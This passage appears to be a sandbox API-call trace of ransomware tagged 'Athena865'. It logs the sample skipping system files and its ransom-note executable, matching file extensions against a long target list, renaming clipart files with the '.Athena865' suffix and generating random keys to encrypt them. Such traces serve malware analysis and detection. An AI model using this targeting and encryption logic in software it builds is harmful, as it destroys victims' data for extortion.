lstrlenW (lpString="vis") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0128.088] lstrlenW (lpString="vpd") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0128.088] lstrlenW (lpString="vvv") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0128.088] lstrlenW (lpString="wdb") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0128.088] lstrlenW (lpString="wmdb") returned 4 [0128.088] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0128.088] lstrlenW (lpString="wrk") returned 3 [0128.088] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0128.089] lstrlenW (lpString="xdb") returned 3 [0128.089] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0128.089] lstrlenW (lpString="xld") returned 3 [0128.089] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0128.089] lstrlenW (lpString="xmlff") returned 5 [0128.089] lstrcmpiW (lpString1="8.WMF", lpString2="xmlff") returned -1 [0128.089] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.Athena865") returned 73 [0128.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.athena865"), dwFlags=0x1) returned 1 [0128.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0128.092] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5618) returned 1 [0128.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0128.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0128.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0128.096] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0128.098] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0128.098] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.098] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1900, lpName=0x0) returned 0x154 [0128.099] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1900) returned 0x100000 [0128.100] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0128.101] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0128.101] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0128.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0128.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0128.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0128.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0128.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0128.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0128.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0128.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0128.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0128.102] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0128.102] CloseHandle (hObject=0x154) returned 1 [0128.102] CloseHandle (hObject=0x17c) returned 1 [0128.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0128.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0128.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0128.102] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0128.102] lstrcmpiW (lpString1="J0216112.JPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0128.102] lstrcmpiW (lpString1="J0216112.JPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0128.102] lstrcmpiW (lpString1="J0216112.JPG", lpString2=".") returned 1 [0128.102] lstrcmpiW (lpString1="J0216112.JPG", lpString2="..") returned 1 [0128.102] lstrcmpiW (lpString1="J0216112.JPG", lpString2="windows") returned -1 [0128.102] lstrcmpiW (lpString1="J0216112.JPG", lpString2="bootmgr") returned 1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="temp") returned -1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="pagefile.sys") returned -1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="boot") returned 1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="ids.txt") returned 1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="ntuser.dat") returned -1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="perflogs") returned -1 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2="MSBuild") returned -1 [0128.103] lstrlenW (lpString="J0216112.JPG") returned 12 [0128.103] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0216112.JPG" | out: lpString1="J0216112.JPG") returned="J0216112.JPG" [0128.103] lstrlenW (lpString="J0216112.JPG") returned 12 [0128.103] lstrlenW (lpString="Athena865") returned 9 [0128.103] lstrcmpiW (lpString1="16112.JPG", lpString2="Athena865") returned -1 [0128.103] lstrlenW (lpString=".dll") returned 4 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2=".dll") returned 1 [0128.103] lstrlenW (lpString=".lnk") returned 4 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2=".lnk") returned 1 [0128.103] lstrlenW (lpString=".ini") returned 4 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2=".ini") returned 1 [0128.103] lstrlenW (lpString=".sys") returned 4 [0128.103] lstrcmpiW (lpString1="J0216112.JPG", lpString2=".sys") returned 1 [0128.103] lstrlenW (lpString="J0216112.JPG") returned 12 [0128.103] lstrlenW (lpString="bak") returned 3 [0128.103] lstrcmpiW (lpString1="JPG", lpString2="bak") returned 1 [0128.103] lstrlenW (lpString="ba_") returned 3 [0128.103] lstrcmpiW (lpString1="JPG", lpString2="ba_") returned 1 [0128.103] lstrlenW (lpString="dbb") returned 3 [0128.103] lstrcmpiW (lpString1="JPG", lpString2="dbb") returned 1 [0128.104] lstrlenW (lpString="vmdk") returned 4 [0128.104] lstrcmpiW (lpString1=".JPG", lpString2="vmdk") returned -1 [0128.104] lstrlenW (lpString="rar") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="rar") returned -1 [0128.104] lstrlenW (lpString="zip") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="zip") returned -1 [0128.104] lstrlenW (lpString="tgz") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="tgz") returned -1 [0128.104] lstrlenW (lpString="vbox") returned 4 [0128.104] lstrcmpiW (lpString1=".JPG", lpString2="vbox") returned -1 [0128.104] lstrlenW (lpString="vdi") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="vdi") returned -1 [0128.104] lstrlenW (lpString="vhd") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="vhd") returned -1 [0128.104] lstrlenW (lpString="vhdx") returned 4 [0128.104] lstrcmpiW (lpString1=".JPG", lpString2="vhdx") returned -1 [0128.104] lstrlenW (lpString="avhd") returned 4 [0128.104] lstrcmpiW (lpString1=".JPG", lpString2="avhd") returned -1 [0128.104] lstrlenW (lpString="db") returned 2 [0128.104] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0128.104] lstrlenW (lpString="db2") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="db2") returned 1 [0128.104] lstrlenW (lpString="db3") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="db3") returned 1 [0128.104] lstrlenW (lpString="dbf") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="dbf") returned 1 [0128.104] lstrlenW (lpString="mdf") returned 3 [0128.104] lstrcmpiW (lpString1="JPG", lpString2="mdf") returned -1 [0128.105] lstrlenW (lpString="mdb") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="mdb") returned -1 [0128.105] lstrlenW (lpString="sql") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="sql") returned -1 [0128.105] lstrlenW (lpString="sqlite") returned 6 [0128.105] lstrcmpiW (lpString1="12.JPG", lpString2="sqlite") returned -1 [0128.105] lstrlenW (lpString="sqlite3") returned 7 [0128.105] lstrcmpiW (lpString1="112.JPG", lpString2="sqlite3") returned -1 [0128.105] lstrlenW (lpString="sqlitedb") returned 8 [0128.105] lstrcmpiW (lpString1="6112.JPG", lpString2="sqlitedb") returned -1 [0128.105] lstrlenW (lpString="xml") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="xml") returned -1 [0128.105] lstrlenW (lpString="$er") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="$er") returned 1 [0128.105] lstrlenW (lpString="4dd") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="4dd") returned 1 [0128.105] lstrlenW (lpString="4dl") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="4dl") returned 1 [0128.105] lstrlenW (lpString="^^^") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="^^^") returned 1 [0128.105] lstrlenW (lpString="abs") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="abs") returned 1 [0128.105] lstrlenW (lpString="abx") returned 3 [0128.105] lstrcmpiW (lpString1="JPG", lpString2="abx") returned 1 [0128.105] lstrlenW (lpString="accdb") returned 5 [0128.105] lstrcmpiW (lpString1="2.JPG", lpString2="accdb") returned -1 [0128.105] lstrlenW (lpString="accdc") returned 5 [0128.106] lstrcmpiW (lpString1="2.JPG", lpString2="accdc") returned -1 [0128.106] lstrlenW (lpString="accde") returned 5 [0128.106] lstrcmpiW (lpString1="2.JPG", lpString2="accde") returned -1 [0128.106] lstrlenW (lpString="accdr") returned 5 [0128.106] lstrcmpiW (lpString1="2.JPG", lpString2="accdr") returned -1 [0128.106] lstrlenW (lpString="accdt") returned 5 [0128.106] lstrcmpiW (lpString1="2.JPG", lpString2="accdt") returned -1 [0128.106] lstrlenW (lpString="accdw") returned 5 [0128.106] lstrcmpiW (lpString1="2.JPG", lpString2="accdw") returned -1 [0128.106] lstrlenW (lpString="accft") returned 5 [0128.106] lstrcmpiW (lpString1="2.JPG", lpString2="accft") returned -1 [0128.106] lstrlenW (lpString="adb") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0128.106] lstrlenW (lpString="adb") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="adb") returned 1 [0128.106] lstrlenW (lpString="ade") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="ade") returned 1 [0128.106] lstrlenW (lpString="adf") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="adf") returned 1 [0128.106] lstrlenW (lpString="adn") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="adn") returned 1 [0128.106] lstrlenW (lpString="adp") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="adp") returned 1 [0128.106] lstrlenW (lpString="alf") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="alf") returned 1 [0128.106] lstrlenW (lpString="ask") returned 3 [0128.106] lstrcmpiW (lpString1="JPG", lpString2="ask") returned 1 [0128.106] lstrlenW (lpString="btr") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="btr") returned 1 [0128.107] lstrlenW (lpString="cat") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="cat") returned 1 [0128.107] lstrlenW (lpString="cdb") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="cdb") returned 1 [0128.107] lstrlenW (lpString="ckp") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="ckp") returned 1 [0128.107] lstrlenW (lpString="cma") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="cma") returned 1 [0128.107] lstrlenW (lpString="cpd") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="cpd") returned 1 [0128.107] lstrlenW (lpString="dacpac") returned 6 [0128.107] lstrcmpiW (lpString1="12.JPG", lpString2="dacpac") returned -1 [0128.107] lstrlenW (lpString="dad") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="dad") returned 1 [0128.107] lstrlenW (lpString="dadiagrams") returned 10 [0128.107] lstrcmpiW (lpString1="216112.JPG", lpString2="dadiagrams") returned -1 [0128.107] lstrlenW (lpString="daschema") returned 8 [0128.107] lstrcmpiW (lpString1="6112.JPG", lpString2="daschema") returned -1 [0128.107] lstrlenW (lpString="db-journal") returned 10 [0128.107] lstrcmpiW (lpString1="216112.JPG", lpString2="db-journal") returned -1 [0128.107] lstrlenW (lpString="db-shm") returned 6 [0128.107] lstrcmpiW (lpString1="12.JPG", lpString2="db-shm") returned -1 [0128.107] lstrlenW (lpString="db-wal") returned 6 [0128.107] lstrcmpiW (lpString1="12.JPG", lpString2="db-wal") returned -1 [0128.107] lstrlenW (lpString="dbc") returned 3 [0128.107] lstrcmpiW (lpString1="JPG", lpString2="dbc") returned 1 [0128.108] lstrlenW (lpString="dbs") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dbs") returned 1 [0128.108] lstrlenW (lpString="dbt") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dbt") returned 1 [0128.108] lstrlenW (lpString="dbv") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dbv") returned 1 [0128.108] lstrlenW (lpString="dbx") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dbx") returned 1 [0128.108] lstrlenW (lpString="dcb") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dcb") returned 1 [0128.108] lstrlenW (lpString="dct") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dct") returned 1 [0128.108] lstrlenW (lpString="dcx") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dcx") returned 1 [0128.108] lstrlenW (lpString="ddl") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="ddl") returned 1 [0128.108] lstrlenW (lpString="dlis") returned 4 [0128.108] lstrcmpiW (lpString1=".JPG", lpString2="dlis") returned -1 [0128.108] lstrlenW (lpString="dp1") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dp1") returned 1 [0128.108] lstrlenW (lpString="dqy") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dqy") returned 1 [0128.108] lstrlenW (lpString="dsk") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dsk") returned 1 [0128.108] lstrlenW (lpString="dsn") returned 3 [0128.108] lstrcmpiW (lpString1="JPG", lpString2="dsn") returned 1 [0128.108] lstrlenW (lpString="dtsx") returned 4 [0128.108] lstrcmpiW (lpString1=".JPG", lpString2="dtsx") returned -1 [0128.109] lstrlenW (lpString="dxl") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="dxl") returned 1 [0128.109] lstrlenW (lpString="eco") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="eco") returned 1 [0128.109] lstrlenW (lpString="ecx") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="ecx") returned 1 [0128.109] lstrlenW (lpString="edb") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="edb") returned 1 [0128.109] lstrlenW (lpString="epim") returned 4 [0128.109] lstrcmpiW (lpString1=".JPG", lpString2="epim") returned -1 [0128.109] lstrlenW (lpString="fcd") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="fcd") returned 1 [0128.109] lstrlenW (lpString="fdb") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="fdb") returned 1 [0128.109] lstrlenW (lpString="fic") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="fic") returned 1 [0128.109] lstrlenW (lpString="flexolibrary") returned 12 [0128.109] lstrlenW (lpString="fm5") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="fm5") returned 1 [0128.109] lstrlenW (lpString="fmp") returned 3 [0128.109] lstrcmpiW (lpString1="JPG", lpString2="fmp") returned 1 [0128.109] lstrlenW (lpString="fmp12") returned 5 [0128.109] lstrcmpiW (lpString1="2.JPG", lpString2="fmp12") returned -1 [0128.109] lstrlenW (lpString="fmpsl") returned 5 [0128.109] lstrcmpiW (lpString1="2.JPG", lpString2="fmpsl") returned -1 [0128.109] lstrlenW (lpString="fol") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="fol") returned 1 [0128.110] lstrlenW (lpString="fp3") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="fp3") returned 1 [0128.110] lstrlenW (lpString="fp4") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="fp4") returned 1 [0128.110] lstrlenW (lpString="fp5") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="fp5") returned 1 [0128.110] lstrlenW (lpString="fp7") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="fp7") returned 1 [0128.110] lstrlenW (lpString="fpt") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="fpt") returned 1 [0128.110] lstrlenW (lpString="frm") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="frm") returned 1 [0128.110] lstrlenW (lpString="gdb") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0128.110] lstrlenW (lpString="gdb") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="gdb") returned 1 [0128.110] lstrlenW (lpString="grdb") returned 4 [0128.110] lstrcmpiW (lpString1=".JPG", lpString2="grdb") returned -1 [0128.110] lstrlenW (lpString="gwi") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="gwi") returned 1 [0128.110] lstrlenW (lpString="hdb") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="hdb") returned 1 [0128.110] lstrlenW (lpString="his") returned 3 [0128.110] lstrcmpiW (lpString1="JPG", lpString2="his") returned 1 [0128.110] lstrlenW (lpString="ib") returned 2 [0128.110] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0128.110] lstrlenW (lpString="idb") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="idb") returned 1 [0128.111] lstrlenW (lpString="ihx") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="ihx") returned 1 [0128.111] lstrlenW (lpString="itdb") returned 4 [0128.111] lstrcmpiW (lpString1=".JPG", lpString2="itdb") returned -1 [0128.111] lstrlenW (lpString="itw") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="itw") returned 1 [0128.111] lstrlenW (lpString="jet") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="jet") returned 1 [0128.111] lstrlenW (lpString="jtx") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="jtx") returned -1 [0128.111] lstrlenW (lpString="kdb") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="kdb") returned -1 [0128.111] lstrlenW (lpString="kexi") returned 4 [0128.111] lstrcmpiW (lpString1=".JPG", lpString2="kexi") returned -1 [0128.111] lstrlenW (lpString="kexic") returned 5 [0128.111] lstrcmpiW (lpString1="2.JPG", lpString2="kexic") returned -1 [0128.111] lstrlenW (lpString="kexis") returned 5 [0128.111] lstrcmpiW (lpString1="2.JPG", lpString2="kexis") returned -1 [0128.111] lstrlenW (lpString="lgc") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="lgc") returned -1 [0128.111] lstrlenW (lpString="lwx") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="lwx") returned -1 [0128.111] lstrlenW (lpString="maf") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="maf") returned -1 [0128.111] lstrlenW (lpString="maq") returned 3 [0128.111] lstrcmpiW (lpString1="JPG", lpString2="maq") returned -1 [0128.112] lstrlenW (lpString="mar") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mar") returned -1 [0128.112] lstrlenW (lpString="marshal") returned 7 [0128.112] lstrcmpiW (lpString1="112.JPG", lpString2="marshal") returned -1 [0128.112] lstrlenW (lpString="mas") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mas") returned -1 [0128.112] lstrlenW (lpString="mav") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mav") returned -1 [0128.112] lstrlenW (lpString="maw") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="maw") returned -1 [0128.112] lstrlenW (lpString="mdbhtml") returned 7 [0128.112] lstrcmpiW (lpString1="112.JPG", lpString2="mdbhtml") returned -1 [0128.112] lstrlenW (lpString="mdn") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mdn") returned -1 [0128.112] lstrlenW (lpString="mdt") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mdt") returned -1 [0128.112] lstrlenW (lpString="mfd") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mfd") returned -1 [0128.112] lstrlenW (lpString="mpd") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mpd") returned -1 [0128.112] lstrlenW (lpString="mrg") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mrg") returned -1 [0128.112] lstrlenW (lpString="mud") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mud") returned -1 [0128.112] lstrlenW (lpString="mwb") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="mwb") returned -1 [0128.112] lstrlenW (lpString="myd") returned 3 [0128.112] lstrcmpiW (lpString1="JPG", lpString2="myd") returned -1 [0128.113] lstrlenW (lpString="ndf") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="ndf") returned -1 [0128.113] lstrlenW (lpString="nnt") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="nnt") returned -1 [0128.113] lstrlenW (lpString="nrmlib") returned 6 [0128.113] lstrcmpiW (lpString1="12.JPG", lpString2="nrmlib") returned -1 [0128.113] lstrlenW (lpString="ns2") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="ns2") returned -1 [0128.113] lstrlenW (lpString="ns3") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="ns3") returned -1 [0128.113] lstrlenW (lpString="ns4") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="ns4") returned -1 [0128.113] lstrlenW (lpString="nsf") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="nsf") returned -1 [0128.113] lstrlenW (lpString="nv") returned 2 [0128.113] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0128.113] lstrlenW (lpString="nv2") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="nv2") returned -1 [0128.113] lstrlenW (lpString="nwdb") returned 4 [0128.113] lstrcmpiW (lpString1=".JPG", lpString2="nwdb") returned -1 [0128.113] lstrlenW (lpString="nyf") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="nyf") returned -1 [0128.113] lstrlenW (lpString="odb") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0128.113] lstrlenW (lpString="odb") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0128.113] lstrlenW (lpString="oqy") returned 3 [0128.113] lstrcmpiW (lpString1="JPG", lpString2="oqy") returned -1 [0128.114] lstrlenW (lpString="ora") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="ora") returned -1 [0128.114] lstrlenW (lpString="orx") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="orx") returned -1 [0128.114] lstrlenW (lpString="owc") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="owc") returned -1 [0128.114] lstrlenW (lpString="p96") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="p96") returned -1 [0128.114] lstrlenW (lpString="p97") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="p97") returned -1 [0128.114] lstrlenW (lpString="pan") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="pan") returned -1 [0128.114] lstrlenW (lpString="pdb") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="pdb") returned -1 [0128.114] lstrlenW (lpString="pdm") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="pdm") returned -1 [0128.114] lstrlenW (lpString="pnz") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="pnz") returned -1 [0128.114] lstrlenW (lpString="qry") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="qry") returned -1 [0128.114] lstrlenW (lpString="qvd") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="qvd") returned -1 [0128.114] lstrlenW (lpString="rbf") returned 3 [0128.114] lstrcmpiW (lpString1="JPG", lpString2="rbf") returned -1 [0128.114] lstrlenW (lpString="rctd") returned 4 [0128.114] lstrcmpiW (lpString1=".JPG", lpString2="rctd") returned -1 [0128.114] lstrlenW (lpString="rod") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="rod") returned -1 [0128.115] lstrlenW (lpString="rodx") returned 4 [0128.115] lstrcmpiW (lpString1=".JPG", lpString2="rodx") returned -1 [0128.115] lstrlenW (lpString="rpd") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="rpd") returned -1 [0128.115] lstrlenW (lpString="rsd") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="rsd") returned -1 [0128.115] lstrlenW (lpString="sas7bdat") returned 8 [0128.115] lstrcmpiW (lpString1="6112.JPG", lpString2="sas7bdat") returned -1 [0128.115] lstrlenW (lpString="sbf") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="sbf") returned -1 [0128.115] lstrlenW (lpString="scx") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="scx") returned -1 [0128.115] lstrlenW (lpString="sdb") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="sdb") returned -1 [0128.115] lstrlenW (lpString="sdc") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="sdc") returned -1 [0128.115] lstrlenW (lpString="sdf") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="sdf") returned -1 [0128.115] lstrlenW (lpString="sis") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="sis") returned -1 [0128.115] lstrlenW (lpString="spq") returned 3 [0128.115] lstrcmpiW (lpString1="JPG", lpString2="spq") returned -1 [0128.115] lstrlenW (lpString="te") returned 2 [0128.115] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0128.115] lstrlenW (lpString="teacher") returned 7 [0128.115] lstrcmpiW (lpString1="112.JPG", 